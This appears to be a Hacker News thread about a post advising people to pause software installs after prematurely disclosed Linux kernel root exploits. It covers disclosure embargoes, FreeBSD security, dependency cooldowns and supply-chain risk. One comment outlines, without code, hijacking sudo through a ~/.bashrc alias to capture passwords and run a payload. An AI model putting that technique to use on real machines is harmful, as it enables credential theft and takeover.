Maybe you shouldn't install new software for a bit

https://xeiaso.net/blog/2026/abstain-from-install/

by psxuaw • 3 months ago

854 459 3 months ago

Yes, and, for non-personal machines or anything connected to the internet: now is a great time to get good at rolling out patches and new releases quickly.

Gigachad6• 3 months ago

The proof of concept code is out before patches are available for any distro.

femiagbabiaka2• 3 months ago

Perhaps it's time to switch to paradigms that allow faster patch generation, application, and rollout... like Nix.

cookiengineer2• 3 months ago

Fun fact: You still can't build the vllm container with updated dependencies since llmlite got pwned. Either due to regression bugs, or due to impossible transient dependencies in the dependency tree that are not resolvable. There is just too much slopcode down the line, and too many dependencies relying on pinned outdated (and unpublished) dependencies.

I switched to llama.cpp because of that.

To me it feels more and more that the slopcode world is the opposite philosophy of reproducible builds. It's like the anti methodology of how to work in that regard.

Before, everyone was publishing breaking changes in subminor packages because nobody adhered to any API versioning system standards. Now it's every commit that can break things. That is not an improvement.

2ndorderthought• 3 months ago

Write only code is such a bad bad idea. No one is reviewing 20k loc PRS with 15 new dependencies in an afternoon. Sorry it's just not happening I don't care how many years you have been a software engineer. Yet that's the new thing and how we all are supposed to work or else we are all Luddites.

perching_aix• 3 months ago

I'm personally waiting to be downgraded to simply being called "lazy".

When I see pages of obviously generated prose being submitted as any kind of documentation, my eyes just glaze over. I feel so guilty sharing similar stuff too, though to my credit, at least I always lead with a self-written TLDR, the slop is just for reference. But it's so bad, like genuinely distressing tier. I don't want to read all that junk, and more and more gets produced.

Prose type docs have always been my Achilles heel, and this is like the worst possible evolution of that.

For a brief period in the past few weeks, they somehow managed to make a change to ChatGPT Thinking that made it succint. The tone was super fact oriented too. It was honestly like waking up from a fever dream.

cybercatgurrl2• 3 months ago

slopcode is a pejorative that means nothing to me. if you have an actual criticism to make, then do it

cookiengineer2• 2 months ago

If I am not allowed to criticize software stability or lack thereof, what am I allowed to criticize? The color of the terminal output or what? What is an "actual criticism" for you?

fkarg• 3 months ago

the lottery of either getting a new supply-chain attack or the fixes from Mythos with every single update

cbarnes99• 3 months ago

It really pisses me off that responsible disclosure timelines are being ignored.

roxolotl• 3 months ago

The dirty frag repo says:

Because the responsible disclosure schedule and the embargo have been broken, no patch exists for any distribution.

I had to do a double take reading that. It’s written something happened and prevented them from following a schedule but seemingly they chose to release the information. I hope I’m missing something where it was forcibly disclosed elsewhere.

Edit: Moments later I refreshed the homepage and saw the announcement. They do claim to have consulted with maintainers

rafram• 3 months ago

Due to external factors, the embargo has been broken, so no patch exists for any distribution.

Very odd wording. I assume there’s an interesting/upsetting story here that will come out soon.

bellowsgulch• 3 months ago

if you don't already consider responsible disclosure a quaint idea, you may want to grow warm on it

the idea that it exists at all is more or less a gentleman's agreement in the engineering world anyway

Root_Denied• 3 months ago

Less a gentleman's agreement and more of a question of economic incentives going away. Companies aren't paying out bounties at the rates they used to (possibly because they've realized there's little financial incentive to do so for most findings) and simultaneously they're being inundated with AI slop findings that somehow have to still be triaged and evaluated.

creatonez2• 3 months ago

In this case, no insiders broke the embargo. It was reverse engineered from the patch by an unrelated third party and a proof of concept immediately came out of it. At that point, it's kinda fair game.

vintermann• 3 months ago

I assume that while Mythos may be really good at finding vulnerabilities, lighter models may still do a pretty good job of explaining/exploiting the vulnerability if given the patch which fixes it.

CodesInChaos• 3 months ago

Aren't patches usually covered by the embargo as well, and kept private until the deadline?

zmj• 3 months ago

If the fix commit is public, so is the issue being fixed.

jeroenhd3• 3 months ago

With copy.fail the security patch wasn't listed as such so there wasn't a lot of attention on the issue as it remained dormant in most kernels for a while.

I don't doubt that the patch reversal + exploit PoC made by a third party is the result of people figuring out how patches work in open source projects like these.

Anyone with access to a good enough LLM can scour through supposedly minor bug fixes that might hide a critical vulnerability rather than doing it all manually. The LLM will probably throw up tons of false positives and miss half the issues, it you only need one or two successes.

cperciva3• 3 months ago

Alternatively, switch to an operating system like FreeBSD which doesn't take a YOLO approach to security. Security fixes don't just get tossed into the FreeBSD kernel without coordination; they go through the FreeBSD security team and we have binary updates (via FreeBSD Update, and via pkgbase for 15.0-RELEASE) published within a couple minutes of the patches hitting the src tree. (Roughly speaking, a few seconds for the "I've pushed the patches" message to go out on slack, 10-30 seconds for patches to be uploaded, and up to a minute for mirrors to sync).

eahm• 3 months ago

Also funny they never show Debian in those tests/videos.

juujian• 3 months ago

How so?

cperciva3• 3 months ago

Debian is probably the best of all the Linuxes, but still suffers from split-brain: If patches are sent upstream first, Debian can't start digesting them until they're already public.

With FreeBSD there's never any question of "who should this get reported to".

krupan3• 3 months ago

If you are switching to a BSD for security reasons, why FreeBSD? Isn't OpenBSD the super secure one? Sorry, it's been a while since I've looked at those projects

andai2• 3 months ago

I haven't switched to BSD but I've been thinking about it for a while. I just saw Vultr has both FreeBSD and OpenBSD!

loloquwowndueo• 3 months ago

The person suggesting FreeBSD is a FreeBSD developer (Colin Percival - actually according to Wikipedia FreeBSD engineering lead), would be weird for him to suggest openbsd.

landr0id4• 3 months ago

FreeBSD didn’t have user land ASLR until 2019 and, amongst other mitigations, still doesn’t have kASLR. It’s not a serious operating system for people who care about security. If you want FreeBSD and security take Shawn Webb’s HardenedBSD.

kelnos• 3 months ago

Last I read, ASLR is a good thing to have, but overall is usually not difficult to defeat. It's a speed bump, not a brick wall.

I don't think it's reasonable to say that an OS that lacks it isn't "serious" about security.

user3939382• 3 months ago

So you have one example in hand and trash talked FreeBSD’s entire security team. Bold claims are fine but this is lazy.

FreeBSD isn’t secure, I suspect you’re sitting on a pile of 0 days for it?

abrookewood• 3 months ago

Is there anywhere that provides a good overview of the various OS protection technologies/approaches that exist and which OSes have implemented them?

tclancy5• 3 months ago

There’s always a guy. It’s great that your favorite distro is definitely safer. An order of magnitude fewer exploits will mean only a few thousand or so, I suppose. Ozymandis used Gentoo.

dag1002• 3 months ago

Calling FreeBSD "just a distro" is verging on insulting. It's an operating system.

GalaxyNova• 3 months ago

FreeBSD is not a distro

LoganDark3• 3 months ago

FreeBSD is not a distro. It's not even Linux; it's a completely different kernel and operating system that traces back to even before Linux. It's honestly closer to Darwin than it is to Linux; macOS is technically a BSD. (Not FreeBSD though.)

shakna• 3 months ago

Well, as they're a FreeBSD dev, I would be surprised if they pointed anyone in a different direction.

bananamogul• 3 months ago

FreeBSD just slaps at the problem. OpenBSD solves it.

I kid, I kid...

f30e3dfed1c9• 3 months ago

Been constructing a lot of infrastructure servers recently, almost all of them FreeBSD VMs running under bhyve on FreeBSD physical hosts. It's a very simple, clean, pleasant environment to work in. And they all run tarsnap. ;-)

gucci-on-fleek• 3 months ago

I'm somewhat skeptical here, because I notified the FreeBSD security team of a vulnerability a few years ago, and I never got a response, even after a follow-up email a few weeks later. To be fair, my report was about a non-core component, and the vulnerability wouldn't be very easy to exploit, but Debian, OpenBSD, SUSE, and Gentoo all patched it within a week [0].

That being said, I'm not suggesting that anyone should judge an entire OS based off of how they handle a single minor report, since everything else that I've seen suggests that FreeBSD takes security reports quite seriously. But then you could also use this same argument for the Linux kernel bug, since it's pretty rare for a patch to be mismanaged like this there too :)

[0] https://www.maxchernoff.ca/p/luatex-vulnerabilities#timeline

stingraycharles• 3 months ago

Linux Kernel doesn’t differentiate between security bugs and other bugs, which is the main complaint here I think. They have the same process.

So the issue is bigger than the mishandling of a single issue, it’s a fundamental process issue around security for one of the most impactful projects in the entire space.

kevans91• 2 months ago

While not receiving a response isn't ideal, I note that we actually have two secteams: secteam@ and ports-secteam@; something like luatex should go to the latter, but their level of activity has been kind of hit or miss in my experience. Curating security issues in ports is kind of hard due to the size of it and we probably more often than not end up getting hit with patching things a little after disclosure because of it.

ComplexSystems• 3 months ago

While I am sure FreeBSD is more secure than your average Linux distro, I sure hope they are using these new AI models to harden everything.

pjmlp8• 3 months ago

Only to be thrown out of the windows with a plain "curl | sh".

skydhash7• 3 months ago

curl | sh is more prevalent in Linux where you can expect a stable ABI from the kernel and sometimes GNU libc. No such things in BSD land. Packages are built against a release always. They don't maintain binary compatibility.

homebrewer• 3 months ago

Has everyone here already forgotten about the WireGuard tire fire?

https://lwn.net/Articles/850098

https://news.ycombinator.com/item?id=26507507

tl;dr: deeply insecure WireGuard implementation committed directly into the FreeBSD kernel with zero review.

Was this process problem fixed?

wolvoleo3• 2 months ago

Ars also has a great writeup on this: https://arstechnica.com/gadgets/2021/03/buffer-overruns-lice...

But yeah as I understand lessons were learned.

dijit• 3 months ago

FreeBSD is quite lax when it comes to security- especially defaults and configs.

The preference is for usability over security.

Famously: https://vez.mrsk.me/freebsd-defaults

I appreciate your work on the project, but I can’t in good conscience suggest people switch while are such bad defaults.

voidUpdate• 3 months ago

I've kept hearing about BSD recently, how hard is it to actually switch to? I'm guessing Linux executables don't work on it since it's not Linux, do all your packages have to be made specifically for BSD?

SV_BubbleTime• 3 months ago

If you are asking, it’s not for you.

brewmarche2• 3 months ago

My experiences from dabbling with it a few months ago:

In general everything needs to be compiled for FreeBSD, but the ports collection is quite extensive. For example you will find Firefox, wayland, GNOME, KDE, xfce, … even dotnet was on there.

Problems arise with properietary stuff like Spotify, Widevine DRM etc. However, FreeBSD has a Linux emulation layer (providing syscalls), dubbed ‘Linuxulator’. I managed to run the Spotify Linux desktop client but the Spotify website wouldn’t let me log in, didn’t research further. AFAIK the emulator is limited though, not implementing all syscalls.

There is also podman for FreeBSD and in addition to running FreeBSD containers (using Jails under the hood I guess?) it can run Linux containers as well (using the Linuxulator in addition then?).

It also comes with a hypervisor called bhyve if you want to run VMs

There is a handbook on their website describing how to set up a system (including desktop environment) if you want to give it a go.

wolvoleo3• 2 months ago

Yes they do but there's a team of maintainers that do just that. There's even ports of software which isn't officially supported on FreeBSD.

fsflover2• 2 months ago

https://news.ycombinator.com/item?id=48077971

JackSlateur• 2 months ago

https://news.ycombinator.com/item?id=48077971

AgentME2• 3 months ago

There's already an okay solution to supply-chain attacks against dependency managers like npm, PyPI, and Cargo: set them to only install package versions that are more than a few days old. The recent high-profile attacks were all caught and rolled back within a day, so doing this would have let you safely avoid the attacks. It really should be the default behavior. Let self-selected beta testers and security scanner companies try out the newest versions of packages for a day before you try them. Instructions: https://cooldowns.dev/

b112• 3 months ago

So you get security updates late too? Many vulnerabilities are in the wild for years before being noticed, and patched.

Once noticed, that's where the exploit explosion erupts, excited exploiters everywhere, emboldened... enticed... excessively encouraged, by your delayed updates.

ayuhito2• 3 months ago

At least with our Renovate config, all dependencies have a 7 day cooldown, but marked security updates are immediate.

Attackers can’t push a security update without going through the reporting process (e.g. Github CVE), so they can’t necessarily abuse that easily.

AgentME2• 3 months ago

Presumably npm exempts security updates from its minimum release age, but even if it doesn't, I think the times where you need an important security update are relatively rare enough that handling the real cases on a case-by-case basis with whitelisting is fine. Outside of Next.js's React2Shell vulnerability last year, I'm not sure I've ever had a security update of a dependency written in a memory-safe language (ie. not C/C++) which I've installed through npm/PyPI/Cargo that patched a security vulnerability that had been making my application exploitable to others in practice. Almost all security vulnerabilities I've personally seen flagged through npm are about things I only use at build-time and are only relevant if a user can create and pass an arbitrary object to the function, which is rarely the case. Most security vulnerabilities I've encountered and fixed in working on web apps were things like XSS, SQL injections, and improperly enforced permissions, and they nearly always happened in the application's own code rather than inside a dependency.

ketozhang• 3 months ago

You could still have security bumps happening (like dependabot).

edoceo2• 3 months ago

More a case for something like this from Show HN three months ago

https://github.com/artifact-keeper

An artifact manager. Only get what you approve. So you can get fast updates when needed and consistently known stable when you need it. Does need a little config override - easy work.

I had my own janky tooling for something like it. This is a good project.

Johnny555• 3 months ago

Does that really scale well? Thanks to cascading dependencies, even a medium sized project can import hundreds of dependencies. Can a developer really review them all to figure out if they are safe and that there's not security fix that was fixed in a newer version of the package?

skydhash7• 3 months ago

IMO, the most sustainable version is either the linux distros/bsd ports/homebrew models. You don't push new libraries to the public registry, instead you write a packaging script that gets reviewed for every new changes.

Another model is Perl's CPAN where you publish source files only.

microtonal• 3 months ago

Trust me, as someone who has contributed to such a package set, almost nobody is inspecting diffs between upstream versions when updating a package. Only the package definitions themselves are reviewed, but they are typically only version + hash bumps.

Reviewing upstream diffs for every package requires a lot of man hours and most packagers are volunteers. I guess LLMs might help catching some obvious cases.

pjmlp8• 3 months ago

Even better, only use company vetted repos, everyone is forbidded to install directly from the Internet repos.

This naturally doesn't work outside corporations.

ric2b• 3 months ago

That usually ends up as proxies to the upstream repos, because the people managing the company repos don't have time to review every new version of a package.

At that point you're just as vulnerable to a supply chain attack.

mistyvales2• 3 months ago

Fedora upgrades have usually been great, but I jumped the gun on Fedora 44. Sound completely dead with no Pipewire service available. ALSA not responding. Firefox dies immediately if I open a new tab or right click anywhere on the browser itself (inlcuding nightly builds). QEMU refuses to load. Maybe something got completely f'd in the upgrade process.. I never had an issue before having upgraded from Fedora 38 all the way to 43. I am too tired to investigate it all.

I know this is unrelated to the article, but related to the title.

dralley• 3 months ago

I have had none of those issues on Fedora 44, FWIW.

senectus1• 3 months ago

ditto. my upgrade from 43 - 44 went very smooth

cevn• 3 months ago

I had a day 1 crashloop with KWin on the 2nd desktop, but on day 2 some package update fixed it. Honestly it isn't the first time Fedora upgrades have messed something up for me either but I do think it's more stable than the average Ubuntu release, not that I've upgraded ubuntu in like 5 yrs.

circularfoyers• 3 months ago

If this is still the same install that you've been using since 38, you might find a clean install resolves some issues (whether or not your upgrade got botched). Also helps me get rid of software I installed that I don't use anymore, which I feel is relevant to this article. But part of why I love Silverblue so much is I don't have to worry about upgrades getting botched and fwiw as well, I haven't noticed any of those bugs on 44 across several very different machines.

tokkkie• 3 months ago

Fedora 44 here, no issues.

jauntywundrkind• 3 months ago

I do a bit wonder what happens as standard practice becomes to lag more and more and more. Who is there left that's looking, that'd finding out?

cybercatgurrl2• 3 months ago

you raise a really good point. if everyone is doing this at exactly the same lag then it will eventually start hitting groups in sync at the exact same time

ayuhito2• 3 months ago

I think there’s already a big market of supply chain security companies that are proactively scanning dependencies for this sort of thing.

They’re always racing to be the first one to write an article about a case.

anymouse1234562• 3 months ago

For the newer players who have gotten into continuous integration and containerized builds, consider checking on your systems to be sure you're not pulling 'latest' across a bunch of packages with every build.

We set up our base containers with all the external dependencies already in them and then only update those explicitly when we decide it's time.

This means we might be a bit behind the bleeding edge, but we're also taking on a lot less risk with random supply chain vulns getting instant global distribution.

anymouse1234562• 3 months ago

You'll also find your CI build times and flakey failures can be cut down massively by doing this.

pjmlp8• 3 months ago

Additionally, use only internal repos.

Melatonic5• 3 months ago

Sounds like a good time to setup a test environment that does pull latest!

jbrooks84• 3 months ago

100% doing this, sadly

0xbadcafebee• 3 months ago

"Wait a week to install software" does not work. Just a few months ago a massive exploit hit the web, which was a timed attack which sat for more than a month before executing. If everyone starts waiting a week, their exploits will wait 2 weeks. Cyber criminals do not need to exploit you immediately, they just need to exploit you. (It also doesn't change a large range of vuln classes like typosquatting)

fny• 3 months ago

This is why cooldowns have space for patches.

tom_alexander3• 3 months ago

I think the author was suggesting "wait a week" as a one-time wait for fixes to be written and patches distributed for these specific prematurely-disclosed vulnerabilities, not an on-going suggestion for delaying all updates. But otherwise I agree with you.

xena3• 3 months ago

Yep, that was my intent.

gpm• 3 months ago

I think you misunderstood the article. The proposal isn't wait a week after Software has been published before installing it. It's in the next seven days starting now, just don't, because you probably don't have patches for these vulnerabilities and even if you do there's probably more scary vulnerabilities about to be discovered.

hnfong• 3 months ago

I think it's even more specific.

From TFA:

Right now would be one of the best times for a supply chain attack via NPM to hit hard.

Given the local kernel root exploits, people pulling npm dependencies have an extra high chance of getting rooted. This includes test systems, build systems, the web server running node.js backend, etc. etc. etc.

This means that there is a significantly greater chance that whatever software you download (not necessarily npm-based) on the internet in these couple days has been unknowingly infected with backdoors, simply due to the fact that the vast majority of servers out there that use npm code have easily exploitable vulnerabilities.

whazor• 3 months ago

A popular package has more exposure. When the artefact is published, the entire world can see it. Hopefully some people check the diff between versions. But without any delays then you could be hit by exploits nobody has seen yet.

Nathanba• 3 months ago

well then let's wait a month or even two months. The point of the wait period is primarily to avoid the new installation of exploits, not the execution of already installed exploits.

dnaaun• 3 months ago

Every dependency compromise that I can remember "in the past few months" were discovered in hours, if not minutes (litllm, axios, bitwarden CLI, Checkmarx docker images, Pytorch lightning, intercom/intercom-php). What's more, the discovery of these compromises did not at all rely on whether the compromises were actively used.

That's why I don't understand:

If everyone starts waiting a week, their exploits will wait 2 weeks

chakintosh• 3 months ago

Yeah, Stuxnet was dormant for a year until execution.

moebrowne2• 3 months ago

If everyone starts waiting a week, their exploits will wait 2 weeks

It's much easier to break into an NPM/Github account and push malicious commits in the few hours a maintainer is sleeping than it is to push something out and not have it noticed for 2 weeks.

There are lists of attacks which had an exposure window which was much shorter than 2 weeks:

https://daniakash.com/posts/simplest-supply-chain-defense/ https://blog.yossarian.net/2025/11/21/We-should-all-be-using...

dingocat• 3 months ago

You're throwing the baby out with the bathwater, though. Waiting a week still prevents a decent amount of attacks. Not every attack can evade detection for two weeks. Even if it did, security scanning tools might still detect them.

Say hypothetically that 20% of attack slip through, which is still worrying, you can mitigate 80% of attacks by just waiting a week. It's a low risk, high reward strategy.

q3k2• 3 months ago

You don't need a kernel LPE to root a Linux developer machine.

Just alias sudo to sudo-but-also-keep-password-and-execute-a-payload in ~/.bashrc and wait up to 24 hours. Maybe also simulate some breakage by intercepting other commands and force the user to run 'sudo systemctl' or something sooner rather than later.

himata41134• 3 months ago

this, this is something I don't understand there are a billion ways to gain root once you control the user that regulary uses sudo.

this is only scary for rootless containers as it skips an isolation layer, but we've started shipping distroless containers which are not vulnerable to this due to the fact that they lack priviledge escalation commands such as su or sudo.

never trust software to begin with, sandbox everything you can and don't run it on your machine to begin with if possible.

TacticalCoder• 3 months ago

this, this is something I don't understand there are a billion ways to gain root once you control the user that regulary uses sudo.

I won't enter into all the details but... It's totally possible to not have the sudo command (or similar) on a system at all and to have su with the setuid bit off.

On my main desktop there's no sudo command there are zero binaries with the setuid bit set.

The only way to get root involves an "out-of-band" access, from another computer, that is not on the regular network [1].

This setup as worked for me since years. And years. And I very rarely need to be root on my desktop. When I do, I just use my out-of-band connection (from a tiny laptop whose only purpose is to perform root operations on my desktop).

For example today: I logged in as root blocked the three modules with the "dirty page" mitigation suggested by the person who reported the exploit.

You're not faking sudo with a mocking-bird on my machine. You're not using "su" from a regular user account. No userns either (no "insmod", no nothing).

Note that it's still possible to have several non-root users logged in as once: but from one user account, you cannot log in as another. You can however switch to TTY2, TTY3, etc. and log in as another user. And the whole XKCD about "get local account, get everything of importance", ain't valid either in my case.

I'm not saying it's perfect but it's not as simple as "get a local shell, wait until user enters 'sudo', get root". No sudo, no su.

It's brutally simple.

And, the best of all, it's a fully usable desktop: I'm using such a setup since years (I've also got servers, including at home, with Proxmox and VMs etc., but that's another topic).

LeCompteSftware• 3 months ago

I agree that de facto the biggest security flaw in Linux is "okay I'm tired of getting interrupted all day assisting you, I know you're competent, I'll put you on the sudoers list."

But there are a lot of academic and research institutions that actually do have good Linux user management. I worked at a pediatric hospital, and the RHEL HPC admins did not mess around in terms of who was allowed to access which patients' data. As someone who was not an admin, it was a huge pain and it should have been. So this bug has pretty serious implications, seems like anyone at that hospital can abscond with a lot of deidentified data. [research HPC not as sensitive as the clinical stuff, which I think was all Windows Server]

BobbyTables22• 3 months ago

I doubt your “distroless” container is any safer for this vulnerability .

Infecting sudo just makes for a quick demo.

If your container has different processes at different user ids, the exploit would still be effective.

It would likely also be able to “modify” read only files mapped from the host.

17186274406• 3 months ago

First, if you control the account of the administrator, you already have a worst case scenario. Second, this is why distros tell you to not use sudo. The purpose of sudo is to give some people the ability to run a very specific program with elevated privileges that wouldn't be allowed otherwise, while you don't want them to have any other administrative rights. If you want someone to be an admin over the system, just give them the root password.

cozzyd• 3 months ago

right, a bigger issue is multitenant systems, which are common in academia (I manage several such systems for various experiments). Now, we generally trust the users to not be malicious, but most don't get sudo, because physicists tend to think they know what they're doing when they don't really (except for me, of course).

Something that concerns me more is I use things like gemini-cli or claude-cli via their own, non-sudo accounts with no ssh keys or anything on my laptop, but a LPE means they can find away around such restrictions if they feel like it (and they might).

Terr_• 3 months ago

Perhaps, but it makes a huge difference if you're running the vulnerable code in a container or as a different user.

17186274406• 3 months ago

When you control the bashrc of some other person, it is already kind of game over.

krupan3• 2 months ago

That's why I only do passwordless sudo ;)

Actually now I use my yubikey to authentice so I don't have to type my password for sudo. Take that!

marcus_holmes9• 3 months ago

This was always a nightmare waiting to happen. The sheer mass of packages and the consequent vast attack surface for supply chain attacks was always a problem that was eventually going to blow up in everyone's face.

But it was too convenient. Anyone warning about it or trying to limit the damage was shouted down by people who had no experience of any other way of doing things. "import antigravity" is just too easy to do without.

Well, now we're reaching the "find out" part of the process I guess.

tclancy5• 3 months ago

So, to play Pandora, what if the net effect of uncovering all these unknown attack vectors is it actually empties the holsters of every national intelligence service around the world? Just an idea I have been playing with. Say it basically cleans up everything and everyone looking for exploits has to start from scratch except “scratch” is now a place where any useful piece of software has been fuzz tested, property tested and formally verified.

Assuming we survive the gap period where every country chucks what they still have at their worst enemies, I mean. I suppose we can always hit each other with animal bones.

xingped• 3 months ago

TBH this is a pretty good way of looking at it. Yeah we're seeing an explosion of vulnerabilities being found right now, but that (hopefully) means those vulnerabilities are all being cleaned up and we're entering a more hardened era of software. Minus the software packages that are being intentionally put out as exploits, of course. Maybe some might say it's too optimistic and naive, but I think you have a good point.

marcus_holmes9• 3 months ago

This assumes that there are no new exploits being generated.

We're seeing maintainers retreat from maintaining because the amount of AI slop being pushed at them is too much. How many are just going to hand over the maintenance burden to someone else, and how many of those new maintainers are going to be evil?

The essential problem is that our entire system of developing civilisation-critical software depends on the goodwill of a limited set of people to work for free and publish their work for everyone else to use. This was never sustainable, or even sensible, but because it was easy we based everything on it.

We need to solve the underlying problem: how to sustainably develop and maintain the software we need.

A large part of this is going to have to be: companies that use software to generate profits paying part of those profits towards the development and maintenance of that software. It just can't work any other way. How we do this is an open question that I have no answers for.

Barbing2• 3 months ago

Will need those animal bones if all the industrial control systems get turned against us

Nuclear might be airgapped but what about water, power…?

allthetime• 3 months ago

New software is being generated faster than it can be adequately tested. We are in the same place we’ve always been; except everything is moving much too fast.

jpollock3• 3 months ago

Faults are injected into the code at a constant rate per developer. Then there's the intentional injections.

Auto-installing random software is the problem. It was a problem when our parents did it, why would it be a good idea for developers to do it?

bulbar3• 3 months ago

I think it will be an arms race in the future as well. Easier to fix known vulnerabilities automatically, but also easier to find new ones and the occasionally AI fuckup instead of the occasionally human fuckup.

teiferer4• 3 months ago

What we are seeing so far come out of the AI agent era is reduced not increased code quality. The few advances are by far negated by all the slop that's thrown around and that's unlikely to change.

any useful piece of software has been fuzz tested, property tested and formally verified.

That would require effort. Human effort and extra token cost. Not going to happen, people want to rather move fast an break things.

mahart• 3 months ago

Having casually read into a few recent incidents the vector has often been outside of software. A lot of mis-configurations or simply attacking the human in the chain. And nation states have basically unbounded resources for everything from bribes, insiders, and even standing up entire companies.

dml2135• 3 months ago

Here's a crazy idea -- what if some of these vulnerabilities are surfacing because they have actually been found, already, and exist in the training data?

Even an intelligence agency doesn't have perfect opsec, and something could get mentioned offhand somewhere on a forum, but never get picked up until the LLM uses it.

josephg6• 3 months ago

I've been wanting a capability based security model for years. Argued about it here in fact. Capabilities are kind of an object pointer with associated permissions - like a unix file descriptor.

We should have:

- OS level capabilities. Launched programs get passed a capability token from the shell (or wherever you launched the program from). All syscalls take a capability as the first argument. So, "open path /foo" becomes open(cap, "/foo"). The capability could correspond to a fake filesystem, real branch of your filesystem, network filesystem or really anything. The program doesn't get to know what kind of sandbox it lives inside.

- Library / language capabilities. When I pull in some 3rd party library - like an npm module - that library should also be passed a capability too, either at import time or per callsite. It shouldn't have read/write access to all other bytes in my program's address space. It shouldn't have access to do anything on my computer as if it were me! The question is: "What is the blast radius of this code?" If the library you're using is malicious or vulnerable, we need to have sane defaults for how much damage can be caused. Calling lib::add(1, 2) shouldn't be able to result in a persistent compromise of my entire computer.

SeL4 has fast, efficient OS level capabilities. Its had them for years. They work great. They're fast - faster than linux in many cases. And tremendously useful. They allow for transparent sandboxing, userland drivers, IPC, security improvements, and more. You can even run linux as a process in sel4. I want an OS that has all the features of my linux desktop, but works like SeL4.

Unfortunately, I don't think any programming language has the kind of language level capabilities I want. Rust is really close. We need a way to restrict a 3rd party crate from calling any unsafe code (including from untrusted dependencies). We need to fix the long standing soundness bugs in rust. And we need a capability based standard library. No more global open() / listen() / etc. Only openat(), and equivalents for all other parts of the OS.

If LLMs keep getting better, I'm going to get an LLM to build all this stuff in a few years if nobody else does it first. Security on modern desktop operating systems is a joke.

theamk2• 3 months ago

Note that capabilities would not help for those bugs we are discussing today.

Those exploits are in kernel, and the userspace is only calling the normal, allowed calls. Removing global open()/listen()/etc.. with capability-based versions would still allow one to invoke the same kernel bugs.

(Now, using microkernel like seL4 where the kernel drivers are isolated _would_ help, but (1) that's independent from what userspace does, you can have POSIX layer with seL4 and (2) that would be may more context switches, so a performance drop)

grebc3• 3 months ago

Have you heard of pledge in OpenBSD?

I prefer it’s model of declaring this is what I want to use, any calls to code outside that error out.

mike_hearn7• 3 months ago

Capabilities have a lot of serious design problems which is why no mainstream language has them. Because this comes up so often on HN I wrote an essay explaining the issues here:

https://blog.plan99.net/why-not-capability-languages-a8e6cbd...

But as pointed out by others, this particular exploit wouldn't be stopped by capabilities. Nor would it be stopped by micro-kernels. The filesystem is a trusted entity on any OS design I'm familiar with as it's what holds the core metadata about what components have what permissions. If you can exploit the filesystem code, you can trivially obtain any permission. That the code runs outside of the CPU's supervisor mode means nothing.

The only techniques we have to stop bugs like this are garbage collection or use of something like Rust's affine type system. You could in principle write a kernel in a language like C#, Java or Kotlin and it would be immune to these sorts of bugs.

j45• 3 months ago

Thinks might have to start considering server side technologies a bit more if at least being mindful of build processes.

marcus_holmes9• 3 months ago

It's not just client-side npm though. Rust has the same problem.

Edit: and, ofc, what we're discussing here is Linux packages.

chasil• 3 months ago

I am so happy to go through another round of kernel RPMs after the freak out today!

I have one server that has shell users, and I did the "yum update" and "reboot -f" dance last week.

Was that good enough? Oh no.

Here we go again!

baq2• 3 months ago

Fortunately the issue isn’t fixed yet, so you don’t have to :)

bulbar3• 3 months ago

Realistically, most folks don't get paid to mitigate long term risks by deviation from the common (and more efficient) practice.

Big companies have security roles on multiple levels, enforcing policies and not allowing devs to just install any package. That's not new but started maybe 15 years ago.

c7b4• 3 months ago

My pet theory is that package managers will one day be seen like we see object-oriented programming today. As something that was once popular but that we've since grown out of. It's also a design flaw that I see in cargo/Rust. Having to import 3rd party packages with who-knows-what dependencies to do pretty much anything, from using async to parsing JSON, it's supply chain vulnerability baked into the language philosophy. npm is no better, but I'm mentioning Rust specifically because it's an otherwise security-conscious language.

weregiraffe• 3 months ago

But you can't expect the language std to supply you with every package under the sun.

pjmlp8• 3 months ago

Rust is quite bad on this, having to rely on external crates for error handling or macros is even worse than what async runtime to pick up.

Yes, I mean crates like anyerror and syn.

mike_hearn7• 3 months ago

The industry hasn't grown out of OOP. Go look at any major production codebase businesses rely on and it's fully of objects and classes, including new codebases made very recently.

Package managers aren't going anywhere. Even languages that historically bet on large standard libraries have been giving up on that over time (e.g. Java's stdlib comes with XML support but not JSON).

Unfortunately, LLMs are also not cheap enough to just create whole new PL ecosystems from scratch. So we have to focus on the lowest hanging fruits here. That means making sandboxing and containers far more available and easy for developers. Nobody should run "npm install" outside a sandbox.

dguest2• 3 months ago

Most people will avoid sticking things in their mouth by default. They don't wait for the microbial cultures to come back positive to say no.

We need a cultural shift toward code hygiene, which isn't really any different from the norms most cultures develop around food. It's a mix of crude heuristics but the sense of "eeew" is keeping billions of people alive.

noduerme2• 3 months ago

The billions of burgers served by fast food franchises with long histories of poisoning people would argue that delicious convenience overrides the hygiene instinct.

Which is to say: Hiding the sausage-making is a core aspect of what makes supply chains profitable.

oever• 3 months ago

That means going back to disabling Javascript or only allowing widely used, well-maintained Javascript libraries.

yxhuvud• 3 months ago

Most people start out as kids that does exactly that.

xboxnolifes• 3 months ago

They don't wait for the microbial cultures to come back positive to say no.

They dont wait for the cultures to come back negative to say yes either. They just eat what they are served.

larodi8• 3 months ago

Indeed - one year ago we floated the idea it is better to write your code if you can, than get third parties. But it was a heresy at the time to consider LLMm filling the gaps.

Today I’m limiting the exposure to dependencies more than ever, and particularly for things that take few hundred lines to implement. It’s a paradigm shift, no less.

noduerme2• 3 months ago

There are a lot of libs you really can't justify implementing from scratch. Mathjs and node-mysql jump to mind. Poisoned chains build up from small dependencies, and clearly staying on top of your dependency chain should be a full time job - if anyone was willing to pay someone to do that full time.

orbital-decay• 3 months ago

This replaces supply chain trust with the trust in the LLM and the provider you're using. Even if you exclude model devs from your threat model and are running the LLM yourself, it's still an uninterpretable black box that is trained on the web data which can be and is manipulated precisely to attack LLMs during training. So this approach still needs proper supply chain security.

YZF3• 3 months ago

I worked for one company where we were super conservative. Every external component was versioned. Nothing was updated without review and usually after it had plenty of soak time. Pretty much everything built from source code (compilers, kernel etc.). Builds [build servers/infra] can't reach the Internet at all and there's process around getting any change in. We reviewed all relevant CVEs as they came out to make a call on if they apply to us or not and how we mitigate or address them.

Then I moved to another company where we had builds that access the Internet. We upgrade things as soon as they come out. And people think this is good practice because we're getting the latest bug fixes. CVEs are reviewed by a security team.

Then a startup with a mix of other practices. Some very good. But we also had a big CVE debt. e.g. we had secure boots on our servers and encrypted drives. We had a pretty good grasp on securing components talking to each other etc.

Everyone seems to think they are doing the right thing. It's impossible to convince the "frequent upgrader" that maybe that's a risk in terms of introducing new issues. We as an industry could really use a better set of practices. Example #1 for me is better in terms of dependency management. In general company #1 had well established security practices and we had really secure products.

dataflow2• 3 months ago

Everyone seems to think they are doing the right thing

I like to think people would agree more on the appropriate method if they saw the risk as large enough.

